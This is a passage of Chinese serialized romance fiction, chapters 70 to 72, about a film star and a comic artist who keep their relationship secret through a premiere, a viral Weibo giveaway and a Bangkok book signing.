叶铭想说看出来了,从他暗搓搓秀恩爱而女方不动如山就看出来了—— 作者有话说:[三花猫头]感谢追文!发点儿红包[让我康康] 第70章 保姆车抵达公司楼下,缓缓停下。 叶铭问他:“公开对你有什么好处?” 凌湛懒懒靠着椅背,语气却很认真:“在外面我女朋友不会因为要避嫌和我一前一后甚至装我助理和路人,好不容易找个隐蔽的角落谈恋爱被狗仔拍她第一反应是甩开我然后躲起来。她感觉开心我就会有好处。” “有得必有失,”叶铭看小朋友一样看他,“你赚这么多钱,承担这份名气,代价肯定是隐私清零。这钱你不愿意有的是人想赚。” 凌湛抬眸:“那等他们先整容成我这样吧。” 叶铭:“……” 他表情复杂地说:“合雨悠比你要更尊重你的事业。她未必会觉得公开是开心的,她会遭受无端的谩骂和攻击。” 凌湛不置可否。这也是他一直以来同意地下恋爱的缘由,他担心合雨悠因此受到伤害。可是这种伤害要维持到什么时候才会没有,七老八十、半只脚入土为安吗。 “她没你想的那么脆弱。”凌湛先说,“除了攻击也会受到祝福,攻击我会挡在她前面。” 凌湛没在车上等很久,合雨悠裹着卫衣外套戴着帽子下来,凌湛这样打扮或许是好认的,合雨悠这样打扮就不好认了,因为她的身高忽高忽低,可以是158也可以是170,加上他们公司和某女团男团共用一栋楼,就算被拍也能迷惑人,搞不好是楼上某个爱豆。 里面拉开车门,合雨悠弯腰上车,附近躲藏的狗仔举起长焦。 “咔嚓——” 狗仔以为抓到什么大新闻了,一看照片:“这谁?兔朱迪??” 合雨悠在车上摘下脸上的疯狂动物城硬塑料面具周边,叶铭看了凌湛一眼:看吧我跟你说了她很害怕。 凌湛也看他:她的害怕是源自于我,我都不在乎了,她为什么要怕。 叶铭:你为什么不在乎,你很有钱? 凌湛收回视线:算有吧。 两个人都是没说话,但眼神间完成了几次交流。 合雨悠:“嗨?” 合雨悠:“怎么没人理我?” 凌湛伸手,把她往自己方向拖了拖:“坐好,系安全带。” 合雨悠坐下,凌湛细心地伸手帮她系。 叶铭抬手:“嗨,盒子,今天在工作室创作得如何?有没有创作欲?” “比之前好点吧,有构思了,对了我做了几个饰品和小东西,今天晾干上色了。”合雨悠从书包里掏出盒子,又从盒子里掏出烤干的石塑黏土和风干的植物,“自行挑选。” 叶铭掏起一枚:“这是什么?柠檬戒指?” 凌湛立即伸手,把戒指从叶铭指缝里夺走:“我的。” 合雨悠乖乖解释:“柠檬皮做的……这个还有项链。” 叶铭又翻出一个橘子形状的小空壳:“这又是什么?” “橘皮灯,可以放耳钉。我刷了UV胶,很坚固的。” 叶铭看得两眼放光:“这感觉像森林里的仙子才会做的事。你要不干脆做个手工品牌,让凌湛带货,多挣钱不好吗?” 合雨悠:“我这都是纯手工,很难量产。” 叶铭:“高价定制嘛!我可以给你找人融资啊。” 合雨悠讲道理:“淘宝上随便找个定制石塑黏土的都能做,我为什么这么贵?别人定制99,我为什么399?” 叶铭:“……原来你的贵指的是399啊?你有品牌故事还有代言人背书啊!怎么也得1999吧?找点人关房间里没日没夜地复刻你的产品,然后我们做成手工盲盒……”他大谈不靠谱的融资计划。 在两个人都没注意到的时候,凌湛就把盒子关起来了。 叶铭眼皮一抽。 合雨悠默默问凌湛:“你能不能给人留点儿?我做了那么多,要分给其他人的。” 叶铭附和:“就是,自私鬼。” 就算被他这么说凌湛还是把盒子关好放在自己旁边没给他。 他觉得合雨悠做这些一定很辛苦,他见过她的制作过程,很花时间,但她可以非常专注坐在一张切割垫前用小刀用手捏五六个小时。那怎么能随便送人呢? “手给我看看。”凌湛旁若无人地执起合雨悠的手,低头吹了一下她泛红的指尖,“石塑黏土是不是有毒?你手都红了。” 叶铭觉得太肉麻,他默默把头扭向窗外。 就在这时,叶铭突然神情一紧—— “别搞暧昧了,有人跟车。” 合雨悠火速把手揣兜里,解开安全带一秒弹开准备离凌湛一米远,被凌湛一只手抓住胳膊,不可思议看着她:“车上有防窥膜,你怕什么?” 合雨悠:“……哦。忘记了。” 合雨悠之前碰见过跟车。 上次凌湛就下车让他们滚了,视频还被发到网上,好险没人喷他。因为他纯素颜,大家发现帅哥素颜也这么浓,和妆后没两样甚至素的更帅了……话题就水灵灵地歪了,于是根本无人在意被骂的狗仔,有也是说他活该的。 还有一次,合雨悠是伪装成凌湛的助理才蒙混过关的。 因为叶铭刚好聘请了一个女助理,身高和合雨悠差不太多,头发长度甚至身材都差不多。 远远一看,确实容易把她当那位助理。 车上,凌湛轻轻握住她的胳膊,把她拉回座位:“以后别躲我。” 合雨悠乖乖点头:“……好。车上不躲。” “外面也一样。”他补了一句。 “啊?那不行。”她几乎秒拒。 凌湛捏眉心。知道她有她的理由,他也有他的理由。 这事一时半会儿谈不拢。 旁边叶铭心里唏嘘,好多素人和明星恋爱最后结果都不好,就是因为这方面的原因,一个人想保护隐私,一个人必须牺牲隐私。 再相爱,也会被现实击碎。 车继续往凌湛家的方向滑去,后头那辆跟车还吊着。 而凌湛的侧脸彻底冷下来了。合雨悠也不知道能怎么办,就乖乖坐着,然后戴上了自己的兔子面具。 两个人都一阵无言,叶铭笑了一声说:“这样,司机先送凌湛回家,盒子跟我回家。我带助理回去没人会在意。” 这是个方法,但叶铭毕竟是男人。 凌湛内心逆反地蠢蠢欲动。 他撩起眼皮看向合雨悠:“跟我下车会怎么样?” 合雨悠马上摇头:“绝对不行!!” 叶铭提醒他:“凌湛,就算是谈恋爱被抓包,也别是跟男明星回家这种吧,弄不好会被造谣的搞不好还会被迪士尼告,”他扫了眼合雨悠那面具,摇头,“我们都不清楚舆论会怎么发展,没那么好公关。” 凌湛松动。 是,就算公开也不能以这种形式。 他先下车回家,而叶铭带着了合雨悠,但跟车还没消失,估计是想拍到戴兔子面具的究竟是谁,谁半夜从公司下来上车这样,肯定有鬼!! 狗仔队能啃面包加矿泉水最后尿在矿泉水瓶里待一周。他们比猎犬还执着。 于是合雨悠只能在叶铭家“被迫住”了一整周。 她适应良好。 期间凌湛来了两三次,每次撩开窗帘就看见狗仔车在别墅外面。 他少不了烦躁。 合雨悠还行,她没宠物,凌湛的助理小马在照料小猫,而且全是线上工作。合雨悠只要有台电脑,有个Ipad可以画画就好。叶铭帮她从公司拿了石塑黏土回来,她倒是不无聊,空了还自己在叶铭家玩健身环和跑步机。 他家地下室还有个超大影音室,合雨悠和叶铭一起看了爆米花电影,非常欢乐,凌湛来的时候她就和凌湛一起看他喜欢的。 叶铭警告他们:“不准在我的沙发上乱搞,这个沙发一百多万。” 合雨悠就满脸震惊地摸了摸底下的沙发。再震惊望向叶铭,他甚至不搞个沙发套? 凌湛也低头,说了句:“你喜欢这个吗,我给你买一个。” “不!!我不要,我不喜欢。”合雨悠严词拒绝了,不这样的话凌湛搞不好真的会买。 下午一点,合雨悠看塔夫斯基的电影睡着了,凌湛把她抱回房间,手臂托着膝弯,另一只搂着她的背。将她放在床上,被子轻轻地盖在她锁骨以上,又没忍住戳她柔软的脸颊。 合雨悠差点被弄醒。 凌湛停了一会儿,安静注视她几秒钟,方才出去。 叶铭在客厅抽烟:“你打算怎么办?《雾城》几天后上映,我不允许你这时候出任何乱子。” 凌湛靠在沙发上,也点起一根,家里窗帘四闭,灯光下他侧脸线条深邃,手指修长地夹着烟。 “上映红利最多一个月。”他淡淡说,“这一个月不出岔子,就没事。” 叶铭:“你筹拍那部新片《大兴安岭杀人事件》,你知道预算要多少吗?我算过了,现在就差不到几千就能开拍。你出了绯闻,投资方撤资怎么办?这段时间好不容易凑了个六七千万投资,我不想你功亏一篑。” 凌湛:“已经够了。” 叶铭:“???” “哪个金主给你投的?你跟家里开口了?” 凌湛侧头:“我的钱。” 叶铭彻底懵了。 “你全部身家都投进去了?!你疯了?!” 以叶铭的估算,凌湛拍《雾城》的片酬其实不高,合约签得早又没补,代言三个,钱都不少,但除去税和分成,拿到手的远没宣传夸张。顶多三成。这三成哪里能凑够四五千万? 如果凌湛疯狂一点什么都接,那肯定是足够的。 可问题就在于,他不是什么都接。 递上来的本子和邀约都被他搁置和拒绝。 这四千万从哪来的? 凌湛语气平静:“我上上部戏的票房分红。” 叶铭又懵了:“你不是跟我说没分给你多少?” 凌湛掸了下烟灰:“他们回款很慢,现在才回来。” 那是一部杀进全球票房排行榜、进九十亿俱乐部的商业科幻大片。又卖了流媒体版权、DVD、周边授权。凌湛当时投得不多,但吃了红利。 终于轮到叶铭说不出话,不知道该说凌湛走运还是什么。他以为凌湛纯拿了个几十万片酬,也顶多是把片酬投了进去,看样子他投的比他想象的多得多- 十一月,北京入秋。 满城金秋梧桐色,影城外的风带着干爽的凉意,《雾城》首映当天,整个发布会现场几乎被媒体占满。 影城外竖起电影主视觉板,媒体记者陆续签到、上传证件。主持人与宣传人员提前调试机位。 下午六点开始,导演、制片、摄影、美术陆续出现。凌湛压轴,灰色卫衣黑色牛仔裤,牛仔布料裹着长腿,戴一顶鸭舌帽,素颜,简洁利落,比正式红毯更生活化。 现场媒体明显精神一振:“来了来了。凌湛!” “那是张灼!哇,孟导也来了。” 而合雨悠作为主创的一员…… 好吧美术组助理其实没资格参加的。 但合雨悠还是去了,剧组给她包了机票。 她不会上台,只能站在台下角落,背着书包偷听制片们讨论包场、排片、热度曲线这些她完全不懂的东西。顺便观察观众的反应,因为她有参与,知道电影至少在视觉方面没得挑。 舞台上,主创轮流讲话。 导演讲拍摄理念,讲调度难度。 主持人问武指,问摄影,问美术。 讲到动作戏时,张灼说:“凌湛吊威亚次数超过三十次。有些夜戏非常辛苦,这个大家可以期待。” 不知道是哪家的90后显眼包,大吼一声:“张导!!凌湛脱衣服了吗?有福利吗?” 全场哄笑。 凌湛高大地站在张导旁边歪了下头,拿着话筒没说话。 张导和蔼一笑:“这个么,只能等大家看了才知道,我只能说不会失望。” 台下喊声更大了。 凌湛有一场受伤的戏份,腰腹渗血缠绷带的,合雨悠当时就在现场,看见化妆师给他身上画这个妆的时候,因为用柔软动物毛的化妆刷一直刷在他腹肌上,凌湛整个腹肌线条都肉眼可见地跟着战栗。 他那会儿刚增过肌,身材结实漂亮得不像话。 把化妆师脸都搞红了。 最后张导换了个男的来。 电影开始后,灯光暗下。主创不占观众席,全部坐在最后排的暗处。 凌湛靠在座椅上,电影他前几天就审过了,眼下还要继续看,但提不起什么兴趣,因为他后期对剪辑提出过异议,制片方糊弄过去了,也没听他的。而合雨悠原本坐得很靠前,旁边是制片、导演、主演、还坐着全剧组最大的大老虎监制孟导。 ……她觉得被这些大佬包围简直窒息,不知道谁要害她把她安排到这个位置,她赶紧趁着没人注意溜到影厅最最角落的幕布里去。 凌湛注意到了,用夜间模式最暗的光发消息:“离我那么远干什么?” 合雨悠:“……” 原来是他要害她。 合雨悠:“我站幕布后面舒坦点。” 凌湛:“电影不看吗?” 合雨悠:“我这儿也能看到。”她拉了把椅子坐下。 观众总是容易将角色的人设和演员本人挂钩。 譬如饰演反派的演员,因此被骂多年,人人喊打。 而陆钧这种苏炸天美强惨S气场拉满的BE人设,完全值得白月光的标签。 电影情节非常引人入胜,观众都看得很入迷,包括合雨悠。 电影进行到一小时三十分的时候——大屏幕上那段“福利镜头”出现。 空气明显变了一下。 有人压不住声音: “……我靠,这也太…… 看得到摸不到,要是能吃到就好了。” 镜头非常短暂,可能一秒钟。在正片范围内是个很微妙的一秒钟。 话音一落,影厅里一片忍笑的抽气声。 电影制片在旁边轻轻感慨:“这段出来后,记者不知道要写多少标题……‘看得到摸不到’、‘太可惜了’、‘怎么才能吃到陆钧’。” 本来看得挺入迷的合雨悠手机一震。 “想吃吗。”—— 作者有话说:[三花猫头]感谢追文[红心]发点儿红包[抱抱]《 》 70-75 第71章 合雨悠聊得心惊胆战。首映厅这么多人,观众脸上一层淡淡的屏幕光,将每个表情都照得清清楚楚。 虽然凌湛坐得后排,但在亮光一瞬也能看见他其实没有抬头在看电影。而是小头控制大头。 张导瞥他一眼:“不看啊你?聊什么。” “聊家事。”凌湛哪能让他看见消息,手腕一翻,“电影我不看好几遍了?” 横竖都是他演的,他一个人占百分之七十镜头,也没什么好看的,他没有那种自赏情结。 张导默然,看了眼旁边那空位,因为他今天有注意到凌湛之前塞进组里那女孩儿也来了,穿着剧组工服,让她坐那么明显的位置,他想说别太显眼。还好那女生机灵跑得快,不然让这么多媒体抓住又要做文章。 他也不知道凌湛就是故意的,因为合雨悠没正面回他,还让他:“你专心看电影啊!!” 凌湛:“专心不了,你站幕布后看着我是吧?” 合雨悠:“没呀,我看荧幕呢。” 凌湛抬眸扫了一眼:“荧幕上不也是我?” 合雨悠:“……” 抬头看一眼电影,张灼把凌湛拍得很帅,这镜头很贵很还原,但其实还是本人更帅,天知道她每天早上早起的动力就是期待地看着他睁眼,在起床气恢复的时候嗓音沙哑地抱过来,充满晨起荷尔蒙的声音喊老婆。 凌湛忽然又戳她:“你帮我包个场吧。” 然后给合雨悠转账。 凌湛:“包一百场。” 合雨悠:“啊?” 电影包场什么意思她知道,就是电影主创免费请粉丝看电影,包下全国各大城市的影城一百场厅,一场大约六千,一百场就是…… 六十万。 她:“叶总说你这部戏没拿多少片酬,我们包场这么多是不是亏了呀?” 凌湛很喜欢“我们”这个用词。 他说:“没事我让制片报销。” 她还挺乐意干这事的。反正也不是她掏钱,她多少也算参与过《雾城》,被问到也可以理直气壮说是主创团队的一枚小卡拉米。 于是她乖乖去预订包场。 下一秒,凌湛又给她安排任务: “别光发粉丝群。微博、小红书都发。” 合雨悠粉丝虽然没凌湛这么多,但她一这么发,票就秒空。 不明人士立刻问她: 【西流老师怎么包场《雾城》?】 【感觉八竿子打不到一起,我次元壁破了……】 【谢谢老师赠票!明晚就去看嗷嗷!!】 【我去凌湛好帅,小西流是参与制作了吗?能不能帮我拿个签名啊啊啊!!】 凌湛坐在车上一刻不停地刷她评论区。 然后戳合雨悠:“你粉丝说让你拿我签名照,你回一下。” 合雨悠:“我回什么?” 凌湛:“说你拿两百张签名照**。” 合雨悠:“啊?” 凌湛理所当然:“宣发活动。” 合雨悠心想这是什么新型宣发,两百张是不是有点多…… “我看其他明星搞这种宣发每个渠道好像就几张,特别珍稀,你怎么送这么多……” 凌湛:“签个名而已,两百张一个小时就签完了。你去回。” 合雨悠:“好吧>。<” 【//@小河向西流: 今晚包场《雾城》,送大家看电影~ 另外我这里有凌湛的两百张签名照(片方给的) 统一**给大家,谢谢你们一直以来的支持。 (附:我参与了一部分视觉概念设计,所以这次电影对我来说也有点特别。)】 她虽然隐隐约约感到哪里不太对,但还是照做了,发出去的内容也很谨慎。可合雨悠不太清楚凌湛的签名多稀有,因为他参加活动次数非常少,连各大活动主办方和品牌方都很难一次性拿出超过五张的签名,大部分私下就送亲友了,哪里像她这么大方直接**。 这条微博一发出去,评论区马上爆炸。 【两百张??真的假的??】 【西流老师人脉这么硬的吗!!两百张???!!!!!】 【老师参与制作??卧槽卧槽——次元壁彻底碎了!!】 【啊啊啊啊啊我的抽我抽我老大抽我啊】 短短几分钟,她的微博就被推上了风口浪尖,粉丝数以每分钟上万的速度狂涨。热度像森林着火直接窜到首页。 合雨悠整个人都蒙了。她匆匆编辑补发一条: 【注:无需关注也能**,但抽到后需验证《雾城》电影粉丝资格。】也就是抽中看电影票根。 可澎湃的巨浪根本止不住。 粉丝量仍然肉眼可见地增长。 合雨悠从没感受过这种千万量级的转发和评论。 她的漫剧播得非常好,播放量上亿点赞百万。 可根本没有到这种现象级的地步,合雨悠后知后觉:这事儿是不是不该她来发? 她就是个干剧组美术的…… 仅有二十个人的美术组微信群也疯了: “我去,看见个博主包一百场《雾城》,我一看照片@盒子,盒子这不你吗?你是这个漫画家啊?!” “喵的盒子你粉丝两百万??你来干我们剧组民工?体验生活的吗?” “666,哪来的这么多签名啊我都没搞到盒子给我一张呗?我请你吃饭!” 大家好像默认合雨悠和剧组高层有关系,是有背景的。 阵仗闹得太大,合雨悠本来只是个两百万粉的漫画家,这下轮番掉马甲,很多人因为转发而看见她,从而发现她是谁。新友旧友都跑来问她是怎么个事儿,有没有什么内幕消息,画漫画一定很赚钱吧?哪里搞的这些签名?凌湛本人是不是超级帅之类的。 合雨悠真有点怕了,赶紧断网。 等叶铭看见的时候一切都晚了。 因为有人质疑小河向西流得到这么多签名的合理性,怀疑真假。 被正主直接转发: 【//@凌湛:正在后台努力给小溪流签名中……#《雾城》##电影《雾城》上映#】 附图在路演后台正在签名的本人侧影一张,灰黑灯光下,他坐在沙发上,腕骨搭在白色桌子,桌上摊开两百张、几摞堆叠在一起的电影明信片。 【我就来晚了几分钟这么多人吗】 【姐妹们我奶奶关注的男神终于上线营业了TAT】 【老公老公我好想要好想要好想要签名照啊!!】 【这个西流是谁?这么大面儿呢!!】 【呃只有我关注到了“小溪流”这个称呼吗,博主不是叫“小河向西流”吗,是打错字还是……】 如果说是打错字不无可能,可偏偏有个“小”字当前缀。 而小河向西流那边…… 【我的妈呀难怪能包一百场,原来是关系户】 【大大您这是……和男主演关系好到这种程度的?】 【我本来以为你只是跟片方熟……结果你跟凌湛本人熟??】 【卧槽我震惊得飞出地球……】 【小溪流这个称呼……嗯……】 【老大你不会是嫂子吧?】 叶铭的电话下一秒就打了过来。 他先问凌湛:“你在想什么,快删掉!!” 凌湛看了眼时间:“我马上要上台路演了,现在删无济于事,我已经发五分钟了。” 五分钟造成的影响已经很大了。 叶铭深呼吸,他当然知道了。删掉已经无济于事,所以不能删,删了事更大。 合雨悠那个原博还好。 毕竟她解释自己是剧组美术,包场有点过,但六十万她不是拿不出来,签名可真就太过了!!凌湛甚至都没给品牌方金主超过五十张的签名!! 最关键的是,凌湛那条意味不明的转发文字。 谁让他那么叫的? 叶铭头皮都在炸:“你答应过现在不公开的。她怎么肯发??” 凌湛倒是平静:“我哄着发的。我现在不公开,我心里有数。” 叶铭冷笑:“你一定在床上使出了浑身解数吧。” 凌湛笑着说:“合雨悠在公司,不在我身边。我使什么使,她就是听我话而已。” 说完没几句他就挂了,电影他有分红,这部分票房也很重要,凌湛相当配合宣发,制片人站他旁边,看见网上热搜,问凌湛:“这是美术那个妹子吗,我好像首映那天见过,她是你妹妹?” 凌湛:“我对象。” 制片:“……” 她:“哦……这样啊。” 凌湛压低头颅说:“还没公开,别传出去了。” 制片:“……行。”她看了凌湛一眼,不公开你这么乱说话,她看他就是想公开,热恋味儿藏都藏不住了。 她回忆了下那美术妹子的长相。 是个清纯可爱挂的,看着二十岁还在读书的温软长相,碰面的时候会对她点头打招呼,诚然她都不认识这个美术助理。 因为没直接承认,捕风捉影的消息对凌湛影响不大,对合雨悠的影响目前来看都是正面的,后面有粉丝扒到两人是同一个公司的,这公司压根没签几个人,还有两人同是重庆人,这事儿不合理中又透着合理,合理之外还有诸多不合理。 叶铭在公司找到合雨悠的时候,他已经在做公关预案了。 公司员工们看见合雨悠,都欲言又止。 其实大家多少都猜到了,合雨悠日常来公司都是坐凌湛休息室撸猫。 她和老板关系很好。 和凌湛一起出现时显得关系也不错。 合雨悠还在房间里心平气和地画画。 叶铭敲门进来,相对平静:“你俩在干什么?网上秀恩爱呢?他忍不住就算了,你也忍不住吗?” 合雨悠小声:“凌湛让我包场的……他说剧组给钱。” 叶铭一听就绷不住了:“这是钱的问题吗???” 合雨悠抬头理直气壮:“……剧组不给钱我当然不会包这么多啊,我包20场最多了……” 叶铭差点被她气笑:“是包场的问题吗???你们这互动,全网都能看出来有问题!!” 合雨悠:“我没联网……涨粉太快了我真的有点害怕。我老家几百年没联系的同学都来问我……我真的,我真有点后悔了。”她声音越来越小,有点懊恼。 叶铭抱着胳膊:“现在知道影响大了?知道怕了?知道错了?” “是……”合雨悠软软说,“对不起铭哥,我错了……” 叶铭沉默几秒,又像个叹气的老父亲:“闺女,哥没有怪你。都是凌湛的错。” 合雨悠连忙说:“没有没有,我错得比较多,你怪我吧。但现在删也来不及了,无济于事。” 叶铭:“……” 难怪这俩是一对呢,一个被窝睡不出两种人。 公关预案已经做完,叶铭才发现原来凌湛提前花钱买了很多针对合雨悠的公关稿,什么吹美貌吹学历吹人品的,将她塑造得完美。在互联网上完全是温柔女神的形象。 小河向西流原本还有点黑粉,这些正向的切片多了,路人缘也跟着上去。 叶铭觉得她也适合当明星的,因为情绪稳定对谁都笑眯眯的,谁见了本人会不喜欢? …… 电影上映后,首日票房破亿。 第二日开始下滑,但也逼近八千万。 都说半场开香槟不吉利,导演只在群里发了个红包,也没庆功。 半个月后,总票房九亿多。 一个月后,总票房达到了十一亿,这时候排片已经很稀疏了,每日增长有限。对比两亿的投资,已回本很多。现在的电影市场,能收获这种票房,各方都皆大欢喜。 一时间,凌湛手里收到的本子更多,几乎所有的好剧本都要送他手里过一遍。因为现在圈里看他就是当之无愧的票房之神,这种题材都能卖出这个票房,导演张灼的所有其他作品都没有这么高的上座率,还是今年这么市场惨淡的年份。 凌湛的片酬也来到了一个很可观的数字。 但凌湛对这个不感兴趣。 眼下他只对手里的《大兴安岭》感兴趣,但主创需要时间来筹集,前期概念,敲个适合的制片,制片敲演员,和编剧修改剧本,所有事凌湛亲力亲为,凑齐整个组,都需要时间。 时间接近年底,十二月二十号,合雨悠出发曼谷进行签售活动。 上次经历一波粉丝暴涨后,后来又跌了一些,现在有八百万。但真实粉量绝对没这么夸张。 刚从曼谷下飞机,合雨悠陷入热流,脱下外套,随即看见机场大屏是凌湛的饮料广告。 非常大。 泰国本土明星都没这么大的屏。 助理小龚替她推着行李箱,箱子里是贵重的定制礼服,合雨悠自己也推一个,是她的私人物品,背后还跟了个化妆师,一个摄影师,四个人抬头时都不约而同“哇”了一声。 “这么大的海报。” 出机场后,合雨悠发现电车上也有凌湛,路灯上也有。 有人对着电车拍照,四周大量说中文的声音。 化妆师说:“最近《雾城》在东南亚也热映,凌湛在泰国人气很高,泰国人好像很喜欢这种长相的男明星,但他们本土没有。” 除了龚爱国,另外两人不知他们关系,化妆师之前看见过合雨悠的微博,说了句:“您和他应该认识的吧?我看见过你们互动。” 合雨悠:“呃,我们一个公司的。” 那次互动过后的一个多月,就没有再网上互动了,合雨悠的漫画家账号就是发画发段子,她给甲方画的每个段子都很认真,流量也可观,甲方也满意;而她的私人账号就是发签售Vlog和漫画家日常之类的,因为剪辑很严格,拍摄的家也不是真的家,而是摄影棚,没有一帧是和凌湛有关系的。 加上前阵子是电影上映黄金期,凌湛很忙碌,两人见面次数不多,除了晚间长达几个小时的电话粥。 合雨悠正常地进行签售会流程,落地第一天和凌湛打电话,给他云参观酒店,没什么特别的,一眼就能望到底,凌湛在视频那头:“给你挑的礼服呢,换上我看看。” 合雨悠说:“那件衣服很难穿上的,比较复杂,明天化妆师给我穿了再给你看呀。” 凌湛:“我让你穿给我看的意思是,脱、给、我、看。”尾音拉得长长的,眼眸也是,笑起来的弧度简直是一对狐狸眼。 合雨悠:“……” 她发誓不会在视频里做这种事。 合雨悠说:“那好啊你来曼谷我脱。” 凌湛:“哦?正好我已经买机票了。” 合雨悠:“?” 凌湛:“逗你的,睡你的吧。”因为合雨悠第二天有活动,凌湛都没让她熬夜,而且合雨悠这性格,文字聊天逗不出来,视频聊天从来更保守,脸红红又一本正经地说不可以的。 第二天合雨悠者照常化妆,探店吃早餐,摄影师录像,进书店等待签售。她的漫画早年间就制作了泰版,据说在这边还挺畅销,工作室给她安排了泰国签售行程她还很担忧:“我真的有泰国粉丝吗,会不会到时候没人啊。” 她担忧纯属多余。 是有人的。 排着长队。 但也就三四个小时能签完的架势。 女漫画家坐在干净的书桌背后,肩部薄纱轻轻落在锁骨上,裙摆若隐若现,衬得她整个人像一朵被晨光撞见的百合花。她的泰国粉丝见到都很惊艳,没想到本人这么漂亮。 而且还有不少逛书店的路人从一楼逛到二楼,看到她后直接站着发呆,窃窃私语地问这是谁。 甚至于为了近距离看看还特意买了书。 签售已经进行到第二个小时,队伍移动得很顺。书店空调凉凉地吹着,合雨悠礼服裙在下摆轻轻晃,低头签名、抬头微笑、用刚练好的泰语亲切温柔地问候。 她的侧脸在镜头里很上镜,是个看着就让人觉得舒服的女生。 直到队伍里不知道什么时候插了个很高的男性。 身材高大肩宽腿长,戴了顶黑色鸭舌帽,黑T外加银色锁骨链,气场微妙地张扬而收敛,戴着黑色口罩就足以让人频频侧目了。 最先注意到他的,是摄影师。 摄影师正在调整焦段,一抬头:“哎?这个男粉好高……” 注意到是因为取景框一直装不下他的头,太高了点。 助理小龚正在给合雨悠翻书,配合她签名,余光瞥了一眼,手一抖,笔差点掉地上。 “别拍了!”他一秒回头,把镜头盖上了。 合雨悠正在和粉丝说“谢谢”,抬起头,看到一件很熟悉的黑T恤,或者说身材,宽松而露锁骨,袖子下露出结实而流畅的胳膊肌肉,T恤因为薄,贴身的时候肉眼可见平薄的腹肌线条,首映那天晚上凌湛按着让她亲吻这里,现在似乎还残留鼻息和舌尖的温度。 再抬高一点,是压得很低的帽子边缘。 更往上,是被口罩遮住的下半张脸,但哪怕只剩眉眼和鼻梁的线条,她也能认出。 合雨悠愣住了。 凌湛单手摘下口罩弯腰,把书放在签名区前,眼神从帽檐下出来,直勾勾的:“老师,我是你的小粉丝。” 他身材很高,这个姿势下即使隔着书桌,俯身的影子也完全笼罩着坐着的合雨悠。像老鹰看着他的猎物。 合雨悠低头道:“你好啊……” 凌湛:“你好呢。” 凌湛低声说:“礼服穿着很漂亮。” 合雨悠轻轻抿唇,心脏有点不受控,又按捺住了,纤长睫毛撩起对着男生漂亮含笑的桃花眸,她在扉页上写: 【戴口罩】 【去等我】 【小河向西流】 凌湛等她签完,拿上书就乖乖离开了,去二楼点了杯咖啡坐下。从他的角度刚好看见她签售的现场,后面队伍看起来还有几十个人,她给别人都签很认真,字数很多。 他隔着栏杆在二楼给合雨悠拍了几张照片。她现在不太喜欢拍照了,偶尔也会同意拍,仅限于穿着完整合理的时候。 凌湛续了一杯咖啡,看着她好像快收工了,才结账给她发消息:“我在二楼等你。” 凌湛:“等了一个小时我很乖吧。” 凌湛:“给你买了杯泰奶,不加冰的,我尝了口有点甜。” 合雨悠看完手机,下意识抬头。 他身材高而显眼,站在二楼那个咖啡厅的栏杆处,招了下手—— 作者有话说:[三花猫头]谢谢追文,发点儿红包[让我康康] 第72章 其实合雨悠有一瞬的犹豫,她想有的读者还没走,还想和她来互动合影,而且身旁有摄影师和化妆师,而且凌湛他居然!没戴口罩!!明晃晃一张画报一样的帅脸,在顶楼的天光下一览无余。 可是看见凌湛那样看她的时候,她竟也下意识地伸手回应,抬起来指了指手机,示意他看手机。 凌湛当下以为会是什么装路人之类的气死人的话。 但合雨悠只是把自己在曼谷行程的包车司机的车牌给他了:“你上我的车吧,太热了我要回酒店换衣服,我们一起回。” “你一个人来的么?助理呢?” 她觉得叶铭铁定不在,说不定都不知道,不然不会这么放纵凌湛的,这哥压根不清他在东南亚的名气,还以为没人认识他。 凌湛一边给她打电话一边拎着泰奶下楼了:“助理很烦,我甩掉了,但估计知道我在这儿吧。” “那你怎么不听助理的话。”合雨悠也走出书店,正好还有刚刚的读者上来,合雨悠一并签名合影了。 凌湛:“为什么要听他们的,我可以听你的。” 合雨悠默默:“你要是真听我的你就不会来了。” “……”凌湛确实不怎么听。 个别时刻是听的。 随后合雨悠问小龚能不能去711给她买三杯冰块,然后自己给剩下两个人打了辆车,非常礼貌地说:“老师们我给你们定了一家餐厅吃饭,榴莲海鲜不限量,你们应该海鲜不过敏?等下我的行程不录像了,我还有点事,我顺便帮你把相机带回去吧。”她对摄影师说。 摄影师其实看见凌湛了…… 因为凌湛在合雨悠面前弯腰摘口罩了。 但因为同是一个公司的,虽然震惊完还没平复,但现在也没有那种兴冲冲得知八卦要分享的冲动。因为合雨悠绝对是个对身边人非常好的人,好得有点像冤大头了。她认为别人和她一起飞过来出差很辛苦,在公司定的消费标准里提高餐标,她吃什么别人也吃什么, 小龚给她买完冰出来,合雨悠也上车了。 小龚说:“化妆师和摄影呢?” 合雨悠:“我给他们打了一辆车走了。你现在吃饭吗?和他们一起还是和我一起。” 小龚:“……当然和你一起,我得保护你!!但是万一他们凑一起八卦你怎么办,我很确定摄影师看见他了……” 那么明目张胆在签售桌子前摘口罩!! 在二楼喝咖啡!! 合雨悠叹息。 “那能怎么办,凌湛就那样。我甚至觉得二楼一定有中国人看见他,拍照肯定也拍了。”她很害怕但好像无济于事,她也想低调可是男朋友没那么低调。 小龚把冰杯给她,一下低头掏出手机:“我上网搜搜去!!” 一时之间还没搜到,要么是运气好没人拍,普通游客不来书店,但那家书店在一个商业中心里,旁边还有艺术展,小龚认为非常危险……今天来找合雨悠签售的中国人也不少。 就在这时,车门从外面被拉开。 凌湛探首,看见合雨悠了长腿才跨上车,和她助理对视一眼,助理就非常懂事地离开座位,给他俩腾出最后一排。 “哥您坐这里。” “谢谢。”凌湛坐下,合雨悠让司机先回酒店,凌湛把饮料给她:“怎么还买了冰杯,你不是不能喝冰。” “我昨晚跟你说我感觉快来了……”合雨悠往冰杯里倒凌湛买的泰奶,“但今天可喜可贺还没有。” “这样的吗?”凌湛摸了摸她的肚子,隔着衣服,“买三杯冰?” 合雨悠说:“泰奶很甜的,我得匀一下。” 她给助理拿了一杯,助理:“我不喝不喝,你们喝!!” “那我等下给你点别的喝的。”合雨悠就递给了凌湛,她其实本来想让凌湛再买一杯的,书店二楼那家她昨晚刷到有网友评价说咖啡味道不错,但她为了签售没有喝到,怕破坏了唇妆。 她担心凌湛去买第二杯的时候又被人看见,于是没让他买。 合雨悠喝了一口。 凌湛也喝了一口。 然后凌湛伸手:“我尝尝你的,你的淡点吧。” “没有吧我倒的一样多。”她说。 “不一样多啊。”他又说。 然后交换杯子。 “是没有吧?”合雨悠又伸手拿回来。 “好像没有,再给我下。”他低头嘴唇抿在吸管上。 “经前你能喝这么冰?”凌湛出声。 “我想喝。”合雨悠摇头,“曼谷太热了,你给我我的。” “哪杯是你的?” 